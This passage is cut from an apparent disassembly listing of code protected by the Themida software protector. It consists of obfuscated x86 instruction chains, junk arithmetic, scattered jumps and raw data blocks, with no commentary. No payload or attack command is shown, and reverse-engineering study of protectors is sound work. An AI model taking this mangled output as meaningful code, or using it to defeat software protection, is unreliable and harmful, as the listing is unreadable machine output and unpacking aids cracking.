loc_54D674 ; --------------------------------------------------------------------------- loc_54F591: ; CODE XREF: Themida_:0054C8ADj push small 0F4Fh jmp loc_54C118 ; --------------------------------------------------------------------------- dw 0BE56h dd 6C6F6247h, 69DC681h, 0D6F73E79h, 11E9DEF7h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F5AF: ; CODE XREF: Themida_:0054ACF7j or eax, 7AA308CDh sub eax, 83CFB10Eh sub esi, eax pop eax add edi, esi pop esi sub edi, 4 xor edi, [esp] xor [esp], edi jmp loc_548081 ; --------------------------------------------------------------------------- db 81h, 0C1h, 6Ah dd 0E96A0959h, 0FFFFC95Fh, 0E9242C89h, 0FFFFCC06h, 4C381h dd 1C870000h, 15E95C24h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5EF: ; CODE XREF: Themida_:00546817j xchg ecx, [esp] pop esp shr eax, 0Eh xor eax, ecx push 684Dh jmp loc_548776 ; --------------------------------------------------------------------------- dw 0EB80h dd 0DEF3E943h, 0EC81FFFFh, 4, 0BE243489h, 43C86372h, 41D3C681h dd 0D6F71A4Bh, 71F68146h, 8101F830h, 0EF6D46E6h, 0C6814E24h dd 2CB1ADC9h, 55EF029h, 70677D84h, 0FF7963E9h, 1CCBB8FFh dd 0E8C14C97h, 8E8C103h, 0DB77AE2Dh, 15040550h, 0C3099583h dd 0FFE1BDE9h, 0A404ACFFh, 8020B753h, 0F82896C7h, 66D8005Bh dd 0E9B6B652h, 0FFFFFCB3h, 2434FF54h, 5D54555Fh, 4C581h dd 0C5810000h, 4, 0FFB03CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F68D: ; CODE XREF: Themida_:00548D04j add edi, ecx sub edi, 76C93B61h pop ecx sub edi, 0BA37BEABh jmp loc_54618E ; --------------------------------------------------------------------------- loc_54F6A1: ; CODE XREF: Themida_:0054F490j pop edx jmp loc_549D53 ; --------------------------------------------------------------------------- db 0F6h dd 9DF580DDh, 0E9B6B753h, 0FFFFBC8Dh ; --------------------------------------------------------------------------- loc_54F6B4: ; CODE XREF: Themida_:0054E059j xchg eax, [esp] jmp loc_548185 ; --------------------------------------------------------------------------- dd 8324148Bh, 0C38104C4h, 3818311Dh, 0EB81C301h, 3818311Dh dd 7D27E958h, 0C381FFFFh, 4, 0FF55DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F6E1: ; CODE XREF: Themida_:00549D4Ej xor edi, 515D0922h add eax, edi jmp loc_54541C ; --------------------------------------------------------------------------- dw 5E58h dd 8158C589h, 0D12FEFC5h, 50DDF761h, 0E75CF4B8h, 3F993565h dd 3B2D0243h, 3509995Bh, 3611816Eh, 1304E9h, 8C96800h dd 1C890000h, 57E38924h, 0AA274BBFh, 28E95106h, 66FFFFE1h dd 0CFBE6656h, 0F531662Ch, 81665E66h, 66EB69C5h, 0E95DE829h dd 0FFFF7F76h ; --------------------------------------------------------------------------- loc_54F744: ; CODE XREF: Themida_:00548FC0j pop esp mov [esp], esi push esp jmp loc_549E6C ; --------------------------------------------------------------------------- dw 0F681h dd 35124002h, 0F9F7EE81h, 0F3895D13h, 0FFD17DE9h, 0EF815DFFh dd 78E3C215h, 0AEFE9h, 5DEF0100h, 4EF81h, 3C870000h, 0D1C3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx jmp loc_5487AA ; --------------------------------------------------------------------------- db 0B3h, 6Ch, 0FEh dd 0F6C380CBh, 0C003E3C0h, 0EB8004E3h, 0EAC380A1h, 805BDE88h dd 0E6C0FFC6h, 0F6CE8604h, 80CE86D1h, 0F02818C6h, 4E8005Ah dd 2434FF97h, 4C48359h, 0FF8A85E9h, 3DC680FFh, 0EE80DEF6h dd 66F70046h, 80EF285Ah, 8B6658EFh, 8E9240Ch, 5BFFFFCDh dd 753AE956h, 77BFFFFFh, 310BEE68h, 0B8505FFEh, 25B363ECh dd 0C102E0C1h, 0FB0502E0h, 2D20B230h, 5C23E61Ch, 0FFD38DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F809: ; CODE XREF: Themida_:0054C34Ej xor ebx, ebp pop ebp jmp loc_5507C6 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0BE560000h, 2, 0E95EF001h, 0FFFFCB96h, 486934BBh, 0DBF74B1Ah dd 0D102EBC1h, 92F381EBh, 0E9253E1Dh, 0FFFFE11Ah, 0F80B850h dd 82BB0840h, 2908400Fh, 90E958C3h, 51FFFFA4h, 4B9h, 0AFFBE900h dd 0C89FFFFh, 81E18924h, 4C1h, 4C18300h, 0E9240C87h, 0FFFF8EA0h ; --------------------------------------------------------------------------- loc_54F870: ; CODE XREF: Themida_:00546A36j shl edx, 1 push ebx push 6DCF495Dh mov ebx, [esp] add esp, 4 jmp loc_54738F ; --------------------------------------------------------------------------- db 52h dd 0E44C47BAh, 5AD50923h, 32EDED81h, 432D4AE3h, 0E9684514h dd 0FFFF7834h, 68h, 24042800h, 8324048Ah, 0D9E904C4h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8AF: ; CODE XREF: Themida_:00546990j add esi, 4 add esi, 4 jmp loc_54D1D2 ; --------------------------------------------------------------------------- dd 4C681h, 89560000h, 4C681E6h, 51000000h, 4B9h, 59CE2900h dd 0FFBF50E9h, 8BD701FFh, 0C4812414h, 4, 0FFD837E9h, 245401FFh dd 68555004h, 230D264Ch, 1154E9h, 0E2895200h, 0FF8340E9h dd 8BFB01FFh, 8956243Ch, 4C681E6h, 81000000h, 4C6h, 8D30E900h dd 5A66FFFFh, 0FFB01FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F925: ; CODE XREF: Themida_:00544E73j add esi, ebp pop ebp jmp loc_547634 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 5D4AE924h, 0DA2DFFFFh, 5D4E324Bh, 2474FF50h, 0ACE95804h dd 80000011h, 0D5209EC2h, 5A2434FFh, 5204C483h, 0F28088B2h dd 0E4E28093h, 6804EAC0h, 4FDEh, 0B1240C89h, 8E1C036h dd 0C1FEC1FEh, 0E91DC180h, 0FFFF7CA8h, 0E9240C89h, 0FFFF89E5h dd 470C0FB9h, 0E1D1417Bh, 8103E9C1h, 2E3D00C1h, 4AC581E1h dd 8162480Dh, 9008E8EDh, 0E9CD017Eh, 0FFFFD7CEh, 0FF2434FFh dd 0C3E92434h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F9AF: ; CODE XREF: Themida_:00550A75j sub edi, 5266237h not edi add edi, 8E4F5E9Eh sub ebp, edi pop edi add ebp, edx jmp loc_54C0F1 ; --------------------------------------------------------------------------- db 87h dd 248B2414h, 24148924h, 1BAh, 5AD02100h, 0FFC038E9h, 1C5F21FFh dd 8B2434FFh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54ACD8 ; --------------------------------------------------------------------------- loc_54F9EE: ; CODE XREF: Themida_:00547DDCj pop esp mov [esp], ax jmp loc_544B12 ; --------------------------------------------------------------------------- dd 8324348Bh, 685504C4h, 48F74773h, 0EE45E95Dh, 489FFFFh dd 0BD0E924h, 0D8010000h, 0FFD4CAE9h, 0E9505CFFh, 0FFFF8C0Eh dd 7A81E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA26: ; CODE XREF: Themida_:0054A663j movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 8B66C361h, 0EC812404h, 4, 54243C89h, 4C7815Fh, 53000000h dd 0FF5208E9h, 0E9FB01FFh, 0FFFF6674h, 0ED81D5F7h, 277F1705h dd 0FFB90FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FA5D: ; CODE XREF: Themida_:00545F3Dj mov esp, [esp] jmp loc_54D750 ; --------------------------------------------------------------------------- loc_54FA65: ; CODE XREF: Themida_:005511BFj xor ecx, 2ED81FBCh and ecx, 31604F5Eh add ecx, 36D3C04h jmp loc_5457C9 ; --------------------------------------------------------------------------- dd 0AA1F73BEh, 66CCBB0Eh, 0EB8131E7h, 48147C09h, 0C381F329h dd 48147C09h, 8BC3315Eh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xor eax, ebx jmp loc_545CFF ; --------------------------------------------------------------------------- loc_54FABA: ; CODE XREF: Themida_:0054BA10j push esi mov esi, 765D05D3h jmp loc_54A4FF ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0F60E951h, 66560000h, 660A5DBEh, 82E9DEF7h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FADB: ; CODE XREF: Themida_:0054EBA8j pop eax sub edx, 0CE82F330h add ecx, 55854594h add ecx, edx sub ecx, 55854594h jmp loc_54F3B1 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0EC83240Ch, 24148904h, 72046851h, 0C8B110Eh dd 4C48324h, 13BCE9h, 0D2F58100h, 4522D413h, 80D7ED81h dd 0E8014CA2h, 0E9C1895Dh, 0FFFFCD0Eh ; --------------------------------------------------------------------------- loc_54FB2C: ; CODE XREF: Themida_:005498D5j push ebx mov ebx, 40712EBDh jmp loc_550368 ; --------------------------------------------------------------------------- db 4 aF4 db 'f4|,н',0 dw 0E9C2h dd 0FFFF589Ch, 4C481h, 74310000h, 348B0424h, 7417E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB56: ; CODE XREF: Themida_:00546789j or esi, 1B7523Fh inc esi jmp loc_548F3F ; --------------------------------------------------------------------------- dw 1C87h dd 24248B24h, 0E9240C89h, 0FFFF6DCBh, 3D67F1B8h, 55A8E968h dd 815AFFFFh, 0A4C640EBh, 0E95E5318h, 0FFFFB86Dh, 2424895Ch dd 4240483h, 56242C8Bh, 0C681E689h, 4, 0FF5DE5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FBA1: ; CODE XREF: Themida_:0054B0B5j pop eax push eax push esp pop eax push ecx push edx mov edx, 36A13683h xor edx, 4A217F4Ah and edx, 1F1A0698h sub edx, 0D636B80Eh mov ecx, edx jmp loc_550940 ; --------------------------------------------------------------------------- db 53h, 0E9h, 68h dd 88FFFF79h, 0EB8058E5h, 80EB0003h, 47E903C3h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FBDB: ; CODE XREF: Themida_:00549EA4j pop ebx mov ebx, [esp] jmp loc_54CCBB ; --------------------------------------------------------------------------- dd 0BD665566h, 2D6663B1h, 12E9133Ah, 0AD000007h, 207F83h dd 0A7ED840Fh, 0F068FFFFh, 0E900001Fh, 0FFFF9272h, 0D5C38143h dd 0E910644Dh, 0FFFF783Fh, 4EC81h, 1C890000h, 0B8E95024h dd 68FFFFF6h, 33400FE7h, 0FFBCA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FC2D: ; CODE XREF: Themida_:0054DFECj pop ebp pop dword ptr [esp] pop esp mov [esp], cx jmp loc_544B12 ; --------------------------------------------------------------------------- loc_54FC3B: ; CODE XREF: Themida_:0054D7CCj mov esi, 5E515360h jmp loc_548599 ; --------------------------------------------------------------------------- db 68h, 0CEh, 69h dd 4FE90000h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC4F: ; CODE XREF: Themida_:0054ADB5j add esp, 4 pop esi push 63B1h jmp loc_54C24C ; --------------------------------------------------------------------------- dd 5A2434FFh, 0E904C483h, 0FFFF4EA6h, 240C8B66h, 622D68h dd 242C8900h, 0CAE9E589h, 5BFFFFEFh, 582434FFh, 0E904C483h dd 0FFFFC680h, 0BF665766h, 89667913h, 665F66FAh, 0E973F62Dh dd 0FFFFBD8Eh, 5538E281h, 0F2815B68h, 29ED5D8Bh, 8103EAC1h dd 0A35E4DC2h, 95C381FBh, 0E93A855Fh, 0FFFFE3D6h, 0FFFFEE81h dd 0CBE9FFFFh, 58FFFF8Dh, 515FF989h, 0FF5BF5E9h, 2B850FFh dd 1000000h, 24048BC2h, 4C481h, 14330000h, 24143124h, 8B241433h dd 0F7662424h, 235E68E1h, 1C890000h, 34FF5424h, 0B871E924h dd 14BDFFFFh, 31DEE7CCh, 0CD015DE9h, 0FF722FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FD15: ; CODE XREF: Themida_:0054A17Cj mov edi, esp add edi, 4 jmp loc_54948E ; --------------------------------------------------------------------------- dw 0C828h dd 4D82859h, 17B1510Ah, 6659C828h, 0B78FE95Bh, 0F781FFFFh dd 28B34EB2h, 0E95FFA29h, 0FFFF5BF8h, 0C2244CB8h, 5340E90Bh dd 5356FFFFh, 2E151D68h, 0C3C7E93Dh, 5257FFFFh, 0F635C0BAh dd 5A5F522Eh, 0E0F7814Fh, 0E9381461h, 0FFFF7D22h, 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54C7ED ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 0D002E900h, 0C583FFFFh, 7A7FE904h dd 0C283FFFFh, 24148702h, 242CD25Ch, 4D70E99Ch, 0C87FFFFh dd 0D94FE924h, 0B559FFFFh, 785DE9F6h, 0E950FFFFh, 0FFFF7BECh ; --------------------------------------------------------------------------- loc_54FDB8: ; CODE XREF: Themida_:0054C922j dec dl shl dl, 4 xor dl, 13h or bh, dl pop edx push eax mov al, 38h neg al jmp loc_547DF4 ; --------------------------------------------------------------------------- db 0F6h, 0D1h, 0E9h dd 0B8Dh ; --------------------------------------------------------------------------- loc_54FDD4: ; CODE XREF: Themida_:00544F5Dj mov ebx, 6E9E3B25h xor [esp+4], ebx push dword ptr [esp] pop ebx add esp, 4 pop eax push esi mov esi, 4A0011F2h jmp loc_54C18B ; --------------------------------------------------------------------------- dd 875C8858h, 241C8B01h, 0FF4FB7E9h, 0E9D2F7FFh, 0FFFF9FBAh dd 24048B66h, 9779E955h, 0E955FFFFh, 0FFFFD10Bh, 6970E2B8h dd 0B349E97Fh, 248BFFFFh, 685124h, 0FF000000h db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_549964 ; --------------------------------------------------------------------------- loc_54FE3F: ; CODE XREF: Themida_:00550608j push esi push ebp sub dword ptr [esp], 1ED814CFh mov esi, [esp] jmp loc_547826 ; --------------------------------------------------------------------------- dd 0E95BDD01h, 0FFFF9570h, 5D2434FFh, 0FF99FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FE61: ; CODE XREF: Themida_:0054AB5Ej or ebp, 306B26F6h add ebp, 2E6566B1h shr ebp, 8 xor ebp, 6450A5h and eax, ebp jmp loc_549AEF ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 8F5B0424h, 665C2404h, 5456F1F7h, 0FF6084E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FE91: ; CODE XREF: Themida_:00545BBEj inc edi shl edi, 2 sub edi, 0E986799Ch add eax, 82771B4h add eax, edi sub eax, 82771B4h jmp loc_54DC14 ; --------------------------------------------------------------------------- loc_54FEAC: ; CODE XREF: Themida_:0054A4EAj push edi push edx mov edx, 55BE7A05h mov edi, edx pop edx push ecx mov ecx, 2A646119h jmp loc_54F2FE ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 1000000h, 2C875AD5h, 88525C24h, 88D2F6E2h, 0E6885AD4h dd 0FF5CE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FEDD: ; CODE XREF: Themida_:0054718Ej pop edi xor eax, ebp jmp loc_5464F3 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 0BE0F4E2Eh, 683E10DDh, 0FFB11DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FEF5: ; CODE XREF: Themida_:00544B43j push edi push 79F2207Dh pop edi and edx, edi pop edi inc edx add edx, 768B3295h add edx, 72A370DCh add edx, 0C715CBEh mov eax, edx jmp loc_547C0B ; --------------------------------------------------------------------------- loc_54FF19: ; CODE XREF: Themida_:0054D012j pop edx add ecx, 4 xchg ecx, [esp] mov esp, [esp] movzx ecx, al jmp loc_54D578 ; --------------------------------------------------------------------------- db 5Bh dd 31241433h, 14332414h, 0D7E95C24h, 89FFFF4Bh, 8EBA2414h dd 81750575h, 0EE3834EAh, 8142422Ch, 0E8C2A8C2h, 8BD701B7h dd 0C4812414h, 4, 8702C783h, 248B243Ch, 66E9F624h, 66CCB60Fh dd 666EA668h, 66240C89h, 0E9C8B60Fh, 0FFFFCCABh ; --------------------------------------------------------------------------- loc_54FF7C: ; CODE XREF: Themida_:0054CE4Ej xor ebx, 2F7234D0h jmp loc_545567 ; --------------------------------------------------------------------------- loc_54FF87: ; CODE XREF: Themida_:00551126j sub ebp, 136D0F22h jmp loc_5450A8 ; --------------------------------------------------------------------------- dw 525Ah dd 306E9h db 0 ; --------------------------------------------------------------------------- loc_54FF99: ; CODE XREF: Themida_:00545D28j pop ebp sub edx, 31185C24h add edx, edi add edx, 31185C24h sub edx, 40C135F8h push dword ptr [edx] pop ecx mov edx, [esp] add esp, 4 push 29EBh mov [esp], eax mov eax, 4 and ecx, eax jmp loc_54D2E2 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 2434FF24h, 8124048Bh, 4C4h, 4C48300h, 483E68h dd 24148900h, 0C281E289h, 4, 0E904C283h, 0FFFF8D49h ; --------------------------------------------------------------------------- loc_54FFF8: ; CODE XREF: Themida_:00549737j push 1E2Fh mov [esp], ecx jmp loc_545D2D ; --------------------------------------------------------------------------- db 0B5h, 86h, 28h dd 240C8BE8h, 4C483h, 9895E9D8h, 1E68FFFFh, 0E9000047h dd 0FFFFB1F9h, 530ECD81h, 1E96AF6h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55002B: ; CODE XREF: Themida_:0054D59Aj push eax jmp loc_5493D0 ; --------------------------------------------------------------------------- loc_550031: ; CODE XREF: Themida_:005475EFj jmp loc_544B12 ; --------------------------------------------------------------------------- loc_550036: ; CODE XREF: Themida_:00550789j sub bl, 43h mov eax, [esp] jmp loc_548B03 ; --------------------------------------------------------------------------- loc_550041: ; CODE XREF: Themida_:00545236j mov edx, 374860C8h and edx, 1739502Bh jmp loc_54CF5A ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0A6682414h, 5400002Ch, 8124048Fh, 42404h dd 815A0000h, 4C2h, 0C3E95100h, 89FFFF4Eh, 28E9240Ch db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55007F: ; CODE XREF: Themida_:005450B3j sub [esp], ebp pop ebp neg ebp jmp loc_544C88 ; --------------------------------------------------------------------------- dw 0E981h dd 81FAE945h, 0E56BE953h, 0C681FFFFh, 4, 5C243487h, 7E7368h dd 24348900h, 0FF6898E9h db 0FFh ; --------------------------------------------------------------------------- loc_5500AD: ; CODE XREF: Themida_:00549F73j xchg ebp, [esp] pop esp jmp loc_547E3C ; --------------------------------------------------------------------------- dw 0C381h dd 52B562E9h, 0FF52D2E9h, 4C483FFh, 6203A5F3h, 4EC8338h dd 0EC9E9h db 0 ; --------------------------------------------------------------------------- loc_5500D1: ; CODE XREF: Themida_:0054AA39j push esi jmp loc_5472C5 ; --------------------------------------------------------------------------- db 29h dd 34C281F2h, 0E91A8D3Bh, 0FFFFAE4Fh, 89242C89h, 20AA68E5h dd 3C890000h, 0E4E95524h, 0ADFFFFE9h, 62D5E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5500FE: ; CODE XREF: Themida_:00545BD6j mov edx, [esp] push ecx jmp loc_5499C8 ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 7808E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550116: ; CODE XREF: Themida_:0054A24Aj sub ecx, esi pop esi add ecx, edi push ebx mov ebx, 3352E7Dh jmp loc_54A30D ; --------------------------------------------------------------------------- dw 0E6C1h dd 27C68105h, 81243821h, 3E600BCEh, 0EBF68141h, 81DFFFE2h dd 0E135F6EBh, 384E93Eh, 0F660000h, 9C2404BBh, 0FF49C1E9h dd 0E9F828FFh, 0FFFF53F7h, 12F2EF81h, 0FD31CBDAh, 5EDC15Fh dd 0FF7184E9h, 0D831ADFFh, 81E18951h, 4C1h, 0BCA9E900h dd 0E95CFFFFh, 0FFFF9DD0h, 0FF498DE9h, 3E2CACFFh, 80E9482Ch dd 5CFFFF57h, 8B66F030h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 jmp loc_546DFC ; --------------------------------------------------------------------------- loc_5501A7: ; CODE XREF: Themida_:00546D2Fj add edx, 1BBB4E46h xor edx, 27AF4E55h shl edx, 5 xor edx, 2B491D1Bh jmp loc_549663 ; --------------------------------------------------------------------------- db 50h, 0E9h, 7Ah dd 5BFFFFF4h, 3936853h, 565B536Bh, 0FF8E2EE9h, 5AD501FFh dd 31242C33h, 2C33242Ch, 24248B24h, 9C2404FEh, 0FF4925E9h db 0FFh ; --------------------------------------------------------------------------- loc_5501ED: ; CODE XREF: Themida_:0054CE88j sub eax, 201B5335h neg eax shl eax, 5 and eax, 4E7D291Dh add eax, 0B806EAB2h mov edi, eax mov eax, [esp] add esp, 4 xor edi, 6DE227B4h xor eax, edi jmp loc_54CC9A ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E1895124h, 4BA52h, 0D1010000h, 0FFD515E9h, 48E0E9FFh dd 0CEB3FFFFh, 0FF8581E9h db 0FFh ; --------------------------------------------------------------------------- loc_550239: ; CODE XREF: Themida_:0054977Bj shl edx, 1 push ebp mov ebp, 1 push eax push ebp push edi mov edi, 44CB033Ch jmp loc_5491A6 ; --------------------------------------------------------------------------- loc_55024E: ; CODE XREF: Themida_:00545D2Fj add ch, 0CAh xor ch, 0FBh sub ch, 95h jmp loc_54D3BC ; --------------------------------------------------------------------------- dd 4244481h, 6B420432h, 4247C29h, 4246C81h, 6B420432h dd 24148B5Fh, 50E38953h, 0FA7A88B8h, 7A842D0Ah, 2AE90AFAh dd 0B8FFFFDAh, 609A7ADEh, 485FF831h, 0AF5D5D0Dh, 5FDB2D1Eh dd 0F3E97EEFh, 0BAFFFF9Ah, 77711983h, 0FF7C8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5502A9: ; CODE XREF: Themida_:0054E193j add ebp, esi sub ebp, 712F786Ah mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] div cl jmp loc_54DC5C ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 1CD36659h, 3BE99C24h, 5AFFFF48h, 0FFBC42E9h dd 0D830ACFFh, 6602EC83h, 68241C89h, 5F5Ch, 0B5240C89h dd 81E9521Bh, 81FFFF71h, 4ECh, 243C8900h, 0FFEE15E9h, 6A0566FFh dd 0E829667Ch, 7C6A2D66h, 0D0BA6652h, 0C2816606h, 0C1667017h dd 4A6607EAh, 15E28166h, 0C2816603h, 1661336h, 65CE9D0h dd 0EF800000h, 0FED7F6E5h, 0E9D7F6CFh, 0FFFFD523h, 0D6E9E189h dd 81FFFF65h, 9A73DEC3h, 81F3017Dh, 9A73DEEBh, 93C5E97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55035A: ; CODE XREF: Themida_:0054560Fj mov edx, 13BB59C4h sub [esp+4], edx jmp loc_5509D0 ; --------------------------------------------------------------------------- loc_550368: ; CODE XREF: Themida_:0054FB32j dec ebx neg ebx jmp loc_54F2ED ; --------------------------------------------------------------------------- loc_550370: ; CODE XREF: Themida_:00545E40j sub esp, 4 mov [esp], esp jmp loc_546195 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5A0424h, 248B2404h, 5D545524h, 4C581h, 5BE90000h dd 81FFFF5Bh, 0AC4BDEF6h, 63A1E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5503A2: ; CODE XREF: Themida_:005486F1j xchg esi, [esp] pop esp or eax, eax jz loc_549535 push 2BDCh mov [esp], edx push 1Ch pop edx push ebp push ebx jmp loc_5499AE ; --------------------------------------------------------------------------- loc_5503C3: ; CODE XREF: Themida_:0054562Aj add bl, 6Bh add bl, 0AAh pop ecx add bl, al add bl, 0E6h movzx eax, al jmp loc_54A8D5 ; --------------------------------------------------------------------------- db 8Fh dd 0BBE92404h, 81FFFFBCh, 4C1h, 4C18300h, 8B240C87h, 0A30F2424h dd 0E99C2404h, 0FFFF471Ah, 24048B66h, 2FF268h, 243C8900h dd 0FFF26BE9h db 0FFh ; --------------------------------------------------------------------------- loc_550409: ; CODE XREF: Themida_:0054CFAAj pop dword ptr [esp] mov esp, [esp] jmp loc_54B9FF ; --------------------------------------------------------------------------- loc_550414: ; CODE XREF: Themida_:0054DCE0j and eax, ebx pop ebx shr eax, 0Ah xor eax, ecx push 54h mov [esp], eax push esi pop eax mov esi, [esp] add esp, 4 push 3854h mov [esp], esi jmp loc_54AD9C ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 772AE95Bh, 0CBE9FFFFh, 0C0FFFF46h, 0EB8006E3h, 5BDE8829h dd 0F000E304h, 5A66E32Ch, 0D72CD828h, 84B35366h, 8071C380h dd 31E90AC3h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55046B: ; CODE XREF: Themida_:0054910Cj pop eax shr ecx, 0Ah push ebx jmp loc_547C3F ; --------------------------------------------------------------------------- loc_550475: ; CODE XREF: Themida_:0054899Fj add esp, 4 jmp loc_54F51C ; --------------------------------------------------------------------------- loc_550480: ; CODE XREF: Themida_:0054DFDBj pop esi jmp loc_54A1DA ; --------------------------------------------------------------------------- dw 248Bh dd 2424D224h, 4680E99Ch, 0CA25FFFFh, 355D2D6Ah, 38CE2619h dd 8158C729h, 0A5F804F7h, 6CA0E9BCh, 0BF57FFFFh, 6392412Ch dd 815FFD89h, 110168CDh, 0F7F58773h, 51F587DEh, 290A57B9h dd 0C56CE94Fh, 0F301FFFFh, 35F6C381h, 0E95E3EE1h, 0FFFF8968h dd 0D744E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5504DE: ; CODE XREF: Themida_:00550CA1j add eax, ecx jmp loc_54B69B ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 1Bh dd 89FFFFC2h, 148B2057h, 4C48124h, 68000000h, 4C13h, 68241C89h dd 4AB05DB6h, 81241C8Bh, 4C4h, 55EB8700h, 0FFC729E9h, 8BD801FFh dd 0C483241Ch, 78D96804h, 0ECE90000h, 80FFFFB0h, 0F48004F4h dd 0D4F48045h, 753E9h db 0 ; --------------------------------------------------------------------------- loc_550535: ; CODE XREF: Themida_:00545AE7j xchg edi, ecx not edi jmp loc_54CB4B ; --------------------------------------------------------------------------- dw 0E268h dd 0E9000017h, 0FFFFD655h, 0C281E289h, 4, 4EA81h, 14870000h dd 7CD9E924h, 0C14EFFFFh, 0EE8105EEh, 0E60C90EFh, 815EF721h dd 0AC1A32C7h, 0BBC78173h, 0C11C4469h, 0E78103E7h, 1C331CF6h dd 47CEF81h, 61E90C10h, 83FFFF55h, 1C8704C3h, 54535C24h dd 5B2434FFh, 0FF687AE9h, 0AFE181FFh, 0E9762D31h, 0FFFFC17Eh ; --------------------------------------------------------------------------- loc_5505A8: ; CODE XREF: Themida_:0054D314j xor ecx, eax jmp loc_54C9FF ; --------------------------------------------------------------------------- loc_5505AF: ; CODE XREF: Themida_:00550DAFj add esp, 4 jmp loc_54991B ; --------------------------------------------------------------------------- loc_5505BA: ; CODE XREF: Themida_:005481D6j mov ebp, 1FEE7A20h mov edi, ebp pop ebp jmp loc_54718C ; --------------------------------------------------------------------------- db 89h dd 3AE9243Ch, 0C1FFFF73h, 0F68106EEh, 1E1C94h, 761068h dd 0FE57E900h, 0E954FFFFh, 0FFFF572Fh, 0E3281BAh, 0D840E972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505F2: ; CODE XREF: Themida_:005491B1j pop edi shl ebp, 5 sub ebp, 37D319CEh or ebp, 4FAA30B8h sub ebp, 0EFFB7C96h jmp loc_54FE3F ; --------------------------------------------------------------------------- db 0ADh, 0E9h, 18h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550613: ; CODE XREF: Themida_:00549ED3j add edi, 2 xchg edi, [esp] pop esp pop edx push 38FFh mov [esp], ebx jmp loc_54C909 ; --------------------------------------------------------------------------- dd 76E9E189h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55062F: ; CODE XREF: Themida_:0054BC26j mov [esp], edx push edi push 6F7C6CEDh mov edi, [esp] jmp loc_54BE2E ; --------------------------------------------------------------------------- dd 0D8E9EB00h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550647: ; CODE XREF: Themida_:00549D3Fj push ebx mov ebx, 4 add ebp, ebx jmp loc_544C02 ; --------------------------------------------------------------------------- dd 2404895Ch, 0FFC9C3E9h, 0F68166FFh, 0F7660129h, 664E66DEh dd 0E902EEC1h, 0FFFFB78Ah ; --------------------------------------------------------------------------- loc_550670: ; CODE XREF: Themida_:0054E88Ej add edi, 79D30BACh add edi, esi sub edi, 79D30BACh pop esi push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_54CFBB ; --------------------------------------------------------------------------- db 80h dd 0ED8031E5h, 18B4508Dh, 0E1885166h, 0FFF728E9h db 0FFh ; --------------------------------------------------------------------------- loc_5506A5: ; CODE XREF: Themida_:00548186j jmp loc_544B12 ; --------------------------------------------------------------------------- dw 0BB53h dd 2CE23733h, 6ED7E381h, 0EBC124CAh, 0A0E38104h, 0E94ED847h dd 0FFFF7D66h, 78E9D1F7h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5506CB: ; CODE XREF: 